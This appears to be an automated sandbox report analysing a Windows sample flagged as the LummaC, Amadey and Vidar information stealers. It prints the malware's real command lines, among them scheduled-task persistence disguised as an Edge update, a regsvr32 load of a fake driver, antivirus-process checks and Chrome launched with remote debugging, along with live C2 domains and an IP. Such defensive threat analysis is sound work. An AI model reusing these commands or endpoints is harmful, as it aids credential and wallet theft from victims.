Edit tour

Windows Analysis Report
oaBqkImU6R.exe

Overview

General Information

Sample name:	oaBqkImU6R.exe renamed because original name is a hash value
Original sample name:	12588ad8266f78013bcef17d1a204933.exe
Analysis ID:	1604928
MD5:	12588ad8266f78013bcef17d1a204933
SHA1:	e057f193b1369d7fe7729b59e51c5c2ae1c73fa9
SHA256:	aee5e91751a25d06f15c226bc70cb0d9c88a54918c432244bc1787d4baab8384
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Sigma detected: WScript or CScript Dropper

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to resolve many domain names, but no domain seems valid

Tries to steal Crypto Currency Wallets

Uses Register-ScheduledTask to add task schedules

Uses schtasks.exe or at.exe to add and modify task schedules

Wscript called in batch mode (surpress errors)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

oaBqkImU6R.exe (PID: 7860 cmdline: "C:\Users\user\Desktop\oaBqkImU6R.exe" MD5: 12588AD8266F78013BCEF17D1A204933)

PT6MNTDM2CSK3U9W2989W1J.exe (PID: 7176 cmdline: "C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe" MD5: FAD1341848452EE30734EBDD88AC7F42)

skotes.exe (PID: 3820 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: FAD1341848452EE30734EBDD88AC7F42)

ffb3ad5f2d.exe (PID: 1576 cmdline: "C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe" MD5: F2432FDB07CAC95C4481843FF0E77FD7)

cmd.exe (PID: 1960 cmdline: "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4620 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2292 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 5992 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3124 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 3592 cmdline: cmd /c md 36469 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 3964 cmdline: extrac32 /Y /E Geographic MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 4356 cmdline: findstr /V "TEAMS" Mw MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 1400 cmdline: cmd /c copy /b 36469\Avoiding.com + Hood + Centered + Collectors + Visual + Additionally + Celebration + Flesh + Ventures + Waters 36469\Avoiding.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 4188 cmdline: cmd /c copy /b ..\Characterized + ..\Entries + ..\Arbitration + ..\Put + ..\Comics + ..\Japanese L MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Avoiding.com (PID: 4148 cmdline: Avoiding.com L MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 1564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2340,i,15117777024686989207,10690682005132199105,262144 /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

choice.exe (PID: 4372 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

f10455927a.exe (PID: 3668 cmdline: "C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe" MD5: DD9C67E3C070940C26EC3B2BEC7B8409)

e18d636f08.exe (PID: 8012 cmdline: "C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe" MD5: C3D89E95BFB66F5127AC1F2F3E1BD665)

cmd.exe (PID: 7312 cmdline: "C:\Windows\System32\cmd.exe" /c copy Turner Turner.cmd & Turner.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5648 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3808 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6296 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 716 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 3080 cmdline: cmd /c md 764661 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 3288 cmdline: extrac32 /Y /E Fm MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 4476 cmdline: findstr /V "Tunnel" Addresses MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 2148 cmdline: cmd /c copy /b 764661\Macromedia.com + Totally + York + Drunk + Baghdad + Benz + Glasses + Pac + Tender + Racing + Deluxe + Derived 764661\Macromedia.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 4768 cmdline: cmd /c copy /b ..\Complement + ..\Soundtrack + ..\Plumbing + ..\Hills F MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Macromedia.com (PID: 1480 cmdline: Macromedia.com F MD5: 62D09F076E6E0240548C2F837536A46A)

schtasks.exe (PID: 2292 cmdline: schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 2888 cmdline: choice /d y /t 15 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

8b5cf17642.exe (PID: 7180 cmdline: "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" MD5: EBE8A0F61F53A3817C3FBCC3AB3A1F4C)

8b5cf17642.tmp (PID: 7256 cmdline: "C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp" /SL5="$8046A,1104885,161792,C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" MD5: BCC236A3921E1388596A42B05686FF5E)

8b5cf17642.exe (PID: 6604 cmdline: "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT MD5: EBE8A0F61F53A3817C3FBCC3AB3A1F4C)

8b5cf17642.tmp (PID: 7580 cmdline: "C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp" /SL5="$B0220,1104885,161792,C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT MD5: BCC236A3921E1388596A42B05686FF5E)

regsvr32.exe (PID: 1000 cmdline: "regsvr32.exe" /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv" MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

regsvr32.exe (PID: 1076 cmdline: /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 6800 cmdline: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3660 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{6D027233-3291-42EE-96A1-B6EF95549711}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

skotes.exe (PID: 2356 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FAD1341848452EE30734EBDD88AC7F42)

skotes.exe (PID: 6568 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FAD1341848452EE30734EBDD88AC7F42)

wscript.exe (PID: 3904 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

regsvr32.exe (PID: 7052 cmdline: C:\Windows\system32\regsvr32.EXE /S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

svchost.exe (PID: 2084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.reveng.ai/one-clickfix-and-lummastealer-recaptchas-our-attention-part-1/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["washyceehsu.lat", "savorraiykj.lat", "leggelatez.lat", "bloodyswif.lat", "shoefeatthe.lat", "kickykiduz.lat", "miniatureyu.lat", "breakfasutwy.cyou", "finickypwk.lat"], "Build id": "vxx7kG--in1"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199724331900"]}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1459340093.0000000001433000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1475613413.0000000001433000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1488001565.0000000001433000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1490995619.0000000001436000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2794310661.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.1689909468.0000000000C51000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1469604188.0000000001430000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1473166707.0000000001433000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.1647361683.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1630205999.0000000000901000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1491112743.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1589499568.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000003.1641435218.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2254468360.00000000052A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: oaBqkImU6R.exe PID: 7860	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: oaBqkImU6R.exe PID: 7860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: oaBqkImU6R.exe PID: 7860	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.skotes.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.skotes.exe.c50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.PT6MNTDM2CSK3U9W2989W1J.exe.900000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 1076, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", ProcessId: 6800, ProcessName: powershell.exe

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: Macromedia.com F, ParentImage: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com, ParentProcessId: 1480, ParentProcessName: Macromedia.com, ProcessCommandLine: schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST, ProcessId: 2292, ProcessName: schtasks.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1060, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js", ProcessId: 3904, ProcessName: wscript.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Avoiding.com L, ParentImage: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com, ParentProcessId: 4148, ParentProcessName: Avoiding.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 1564, ProcessName: chrome.exe

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "regsvr32.exe" /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv", CommandLine: "regsvr32.exe" /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp" /SL5="$B0220,1104885,161792,C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT, ParentImage: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp, ParentProcessId: 7580, ParentProcessName: 8b5cf17642.tmp, ProcessCommandLine: "regsvr32.exe" /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv", ProcessId: 1000, ProcessName: regsvr32.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe, ParentProcessId: 1576, ParentProcessName: ffb3ad5f2d.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd, ProcessId: 1960, ProcessName: cmd.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1060, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js", ProcessId: 3904, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 1076, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }", ProcessId: 6800, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2084, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

